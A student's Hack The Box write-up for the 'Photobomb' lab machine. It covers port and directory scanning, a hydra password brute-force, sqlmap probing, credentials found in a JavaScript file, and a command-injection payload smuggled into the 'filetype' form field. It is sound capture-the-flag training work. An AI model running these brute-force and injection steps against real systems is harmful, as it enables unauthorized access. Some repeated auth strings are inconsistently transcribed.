
Uni Hacking Report

Hack the Box: Photobomb Machine

Felicitas Pojtinger (fp036, Stuttgart Media University)

2022-10-14

Abstract

Voluntary Hacking Report for Winter 2022/2023.

Contents

- **Machine:** Photobomb (Medium; 10.10.11.182, <https://app.hackthebox.com/machines/Photobomb>)

```
1 # /etc/hosts
2 10.10.11.182 photobomb.htb$
```

```
1 $ nmap -v -p- photobomb.htb
2 Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 18:44 CEST
3 Initiating Ping Scan at 18:44
4 Scanning photobomb.htb (10.10.11.182) [2 ports]
5 Completed Ping Scan at 18:44, 0.05s elapsed (1 total hosts)
6 Initiating Connect Scan at 18:44
7 Scanning photobomb.htb (10.10.11.182) [65535 ports]
8 Discovered open port 80/tcp on 10.10.11.182
9 Discovered open port 22/tcp on 10.10.11.182
```

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Fri, 14 Oct 2022 16:48:11 GMT
4 Content-Type: text/html; charset=utf-8
5 Connection: close
6 X-Xss-Protection: 1; mode=block
7 X-Content-Type-Options: nosniff
8 X-Frame-Options: SAMEORIGIN
9 Content-Length: 843
```

```
1 GET /printer HTTP/1.1
2 Host: photobomb.htb
3 Cache-Control: max-age=0
4 Authorization: Basic YXNkZmFzZGY6c2FkZmFzZGY=
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
    /537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
    avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=
    b3;q=0.9
8 Referer: http://photobomb.htb/
9 Accept-Encoding: gzip, deflate
10 Accept-Language: en-US,en;q=0.9
11 Connection: close
```

```
1 $ ffuf -w ~/Downloads/SecLists/Discovery/DNS/bitquark-subdomains-
    top100000.txt:FUZZ -u http://photobomb.htb/ -H 'Host: FUZZ.http://
    photobomb.htb/' -fs 0,154
2 # No results
3 $ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/directory-list
    -2.3-small.txt:FUZZ -u http://photobomb.htb/FUZZ -fs 12193 -s
4 # directory-list-2.3-small.txt
5 # or send a letter to Creative Commons, 171 Second Street,
6 #
7 #
```

```
8 # Priority-ordered case-sensitive list, where entries were found
9 # license, visit http://creativecommons.org/licenses/by-sa/3.0/
10
11 # Suite 300, San Francisco, California, 94105, USA.
12 #
13 # on at least 3 different hosts
14 #
15 # Attribution-Share Alike 3.0 License. To view a copy of this
16 # Copyright 2007 James Fisher
17 # This work is licensed under the Creative Commons
18 printer
19 printers
20 printerfriendly
21 printer_friendly
22 printer_icon
23 printer-icon
24 printer-friendly
25 printerFriendly
26 printersupplies
27 printer1
28
29 printer2
30 # ...
```

4 4283 77468377 → Invalid number

```
1 Sinatra 'doesnt know this ditty.
2
3 Try this:
4 get '/asdfsadfsdf' do
5   "Hello World"
6 end
```

We have a Sinatra server.

```
1 $ hydra -l username -P ~/Downloads/rockyou.txt -s 80 -f photobomb.htb
   http-get /printer
```

```
1 sqlmap -u 'http://photobomb.htb/printer' --auth-type=basic --auth-cred=
   testuser:testpass --banner -v 5
```

```
1 $ curl 'http://photobomb.htb/photobomb.js' \
2   --compressed \
3   --insecure
4 function init() {
5   // Jameson: pre-populate creds for tech support as they keep
6   // forgetting them and emailing me
7   if (document.cookie.match(/^(.*)?\s*isPhotoBombTechSupport\s*=\s*
8     *[^;]+(.*?)?$/)) {
9     document.getElementsByClassName('creds')[0].setAttribute('href', '
10
```

```
        http://pH0t0:b0Mb!@photobomb.htb/printer');
8    }
9 }
10 window.onload = init;
```

User: pH0t0 Password: b0Mb!

```
1 $ curl 'http://photobomb.htb/printer' \
2   -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
      image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
      exchange;v=b3;q=0.9' \
3   -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' \
4   -H 'Authorization: Basic cEgwdA6YjBNYiE=' \
5   -H 'Cache-Control: max-age=0' \
6   -H 'Connection: keep-alive' \
7   -H 'Content-Type: application/x-www-form-urlencoded' \
8   -H 'Origin: http://photobomb.htb' \
9   -H 'Referer: http://photobomb.htb/printer' \
10  -H 'Upgrade-Insecure-Requests: 1' \
11  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (
      KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' \
12  --data-raw 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg
      &dimensions=1000x1500' \
13  --compressed \
14  --insecure
```

```
1 $ sqlmap -u 'http://photobomb.htb/printer' --data="photo=asdf" --method
  GET --dbs --batch -time-sec=1 --headers="Authorization: Basic
  cEgwdA6YjBNYiE="
2 [19:22:06] [CRITICAL] all tested parameters do not appear to be
  injectable. Try to increase values for '--level'/'--risk' options if
  you wish to perform more tests. If you suspect that there is some
  kind of protection mechanism involved (e.g. WAF) maybe you could try
  to use option '--tamper' (e.g. '--tamper=space2comment') and/or
  switch '--random-agent'
3 $ sqlmap -u 'http://photobomb.htb/printer' --data="filetype=asdf" --
  method GET --dbs --batch -time-sec=1 --headers="Authorization: Basic
  cEgwdA6YjBNYiE="
4 [19:22:36] [CRITICAL] all tested parameters do not appear to be
  injectable. Try to increase values for '--level'/'--risk' options if
  you wish to perform more tests. If you suspect that there is some
  kind of protection mechanism involved (e.g. WAF) maybe you could try
  to use option '--tamper' (e.g. '--tamper=space2comment') and/or
  switch '--random-agent'
```

We can download files, so its probably a file inclusion. Where is the upload site? Let's fuzz.

```
1 $ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/directory-list
  -2.3-small.txt:FUZZ -u http://photobomb.htb/FUZZ -fs 12193 -s -H "
  Authorization: Basic cEgwdA6YjBNYiE="
```

```
1 curl 'http://photobomb.htb/printer' -H 'Accept: text/html,application
  /xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng
  ,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Accept-
  Language: en-US,en;q=0.9,de;q=0.8' -H 'Authorization: Basic
  cEgwdDA6YjBNYiE=' -H 'Cache-Control: max-age=0' -H 'Connection:
  keep-alive' -H 'Content-Type: application/x-www-form-urlencoded'
  -H 'Origin: http://photobomb.htb' -H 'Referer: http://photobomb.
  htb/printer' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent:
  Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/106.0.0.0 Safari/537.36' --data-raw 'photo=voicu-
  apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg' --compressed --
  insecure > /tmp/asdf.html
2 # Shows error message with debug information and regex, repeat with
  other parameters
```

```
1 post '/printer' do
2   photo = params[:photo]
3   filetype = params[:filetype]
4   dimensions = params[:dimensions]
5
6   # handle inputs
7   if photo.match(/\.{2}|\//)
8     halt 500, 'Invalid photo.'
9   end
10
11   if !FileTest.exist?( "source_images/" + photo )
12     halt 500, 'Source photo does not exist.'
13   end
14
15
16   if !filetype.match(/^(png|jpg)/)
17     halt 500, 'Invalid filetype.'
18   end
19
20   if !dimensions.match(/^([0-9]+x[0-9]+$/))
21     halt 500, 'Invalid dimensions.'
22   end
```

```
1 curl 'http://photobomb.htb/printer' -H 'Accept: text/html,application
  /xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng
  ,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Accept-
  Language: en-US,en;q=0.9,de;q=0.8' -H 'Authorization: Basic
  cEgwdDA6YjBNYiE=' -H 'Cache-Control: max-age=0' -H 'Connection:
  keep-alive' -H 'Content-Type: application/x-www-form-urlencoded'
  -H 'Origin: http://photobomb.htb' -H 'Referer: http://photobomb.
  htb/printer' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent:
  Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/106.0.0.0 Safari/537.36' --data-raw 'photo=wolfgang-
  hasselmann-RLEgmd107gs-unsplash.jpg&filetype=jpg;touch asdf-3000
  x2000.jpg&dimensions=3000x2000' --compressed --insecure -vvv
```

```
2 * Trying 10.10.11.182:80...
3 * Connected to photobomb.htb (10.10.11.182) port 80 (#0)
4 > POST /printer HTTP/1.1
5 > Host: photobomb.htb
6 > Accept-Encoding: deflate, gzip, br, zstd
7 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
  avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=
  b3;q=0.9
8 > Accept-Language: en-US,en;q=0.9,de;q=0.8
9 > Authorization: Basic cEgwdA6YjBNYiE=
10 > Cache-Control: max-age=0
11 > Connection: keep-alive
12 > Content-Type: application/x-www-form-urlencoded
13 > Origin: http://photobomb.htb
14 > Referer: http://photobomb.htb/printer
15 > Upgrade-Insecure-Requests: 1
16 > User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML
  , like Gecko) Chrome/106.0.0.0 Safari/537.36
17 > Content-Length: 109
18 >
19 * Mark bundle as not supporting multiuse
20 < HTTP/1.1 500 Internal Server Error
21 < Server: nginx/1.18.0 (Ubuntu)
22 < Date: Fri, 14 Oct 2022 18:18:18 GMT
23 < Content-Type: text/html; charset=utf-8
24 < Content-Length: 73
25 < Connection: keep-alive
26 < Content-Disposition: attachment; filename=wolfgang-hasselmann-
  RLEgmd107gs-unsplash_3000x2000.jpg;touch asdf-3000x2000.jpg
27 < X-Xss-Protection: 1; mode=block
28 < X-Content-Type-Options: nosniff
29 < X-Frame-Options: SAMEORIGIN
30 <
31 * Connection #0 to host photobomb.htb left intact
32 Failed to generate a copy of wolfgang-hasselmann-RLEgmd107gs-unsplash.
  jpg
```